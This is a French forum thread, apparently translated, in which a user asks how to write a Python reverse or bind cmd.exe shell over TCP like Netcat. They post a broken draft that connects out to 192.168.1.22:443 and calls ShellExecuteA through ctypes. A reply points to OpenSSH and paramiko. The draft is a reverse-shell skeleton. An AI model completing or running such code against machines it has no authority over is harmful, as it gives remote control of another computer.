J'ai une question à propos de l'exécution de Windows API sur protocole TCP/IP. Par exemple, je souhaite amener cmd.exe de la machine distante sur une autre machine (comme Netcat, en simulant complètement cmd.exe sur TCP/IP). J'ai cherché en ligne pour le faire avec python mais je n'ai rien trouvé d'utile. Je peux le faire en utilisant des sous-processus et d'autres capacités python mais il manque un problème d'interface utilisateur. J'ai utilisé ce genre de code:Python Shellexecute Windows api avec Ctypes sur TCP/IP
import socket
import subprocess
import ctypes
HOST = '192.168.1.22'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
#send initial cmd.exe banner to remote machine
s.send(ctypes.windll.Shell32.ShellExecuteA(None,"open","cmd.exe",None,None,0))
#accept user input
data = s.recv(1024)
#pass it again to Shellexecute api to execute and return output to remote machine, fully simulating original CMD over TCP/IP
s.close()
Regardez cette image: Running CMD over TCP/IP using NetCat tool
Je souhaite exécuter CMD sur une connexion réseau. Comme inverser ou lier cmd shell. Une fois la connexion réussie, l'un des ordinateurs doit prendre le contrôle de cmd.exe appartenant à un autre ordinateur. Je veux écrire le script simulant interactif cmd.exe appartient à l'autre ordinateur sur la connexion réseau. Probablement, en utilisant windows apis comme shellexecute sur le réseau est la solution mais je suis python-newbie et ne peux pas l'écrire pour moi-même :) – Abdulla
hum ..., reliant SSH à windows et en utilisant le cmd comme le "défaut" shell est une option pour votre cas? https://winscp.net/eng/docs/guide_windows_openssh_server Vous pouvez ensuite utiliser la bibliothèque paramiko de Python :) http://jessenoller.com/blog/2009/02/05/ssh-programming-with -paramiko-complètement-différent –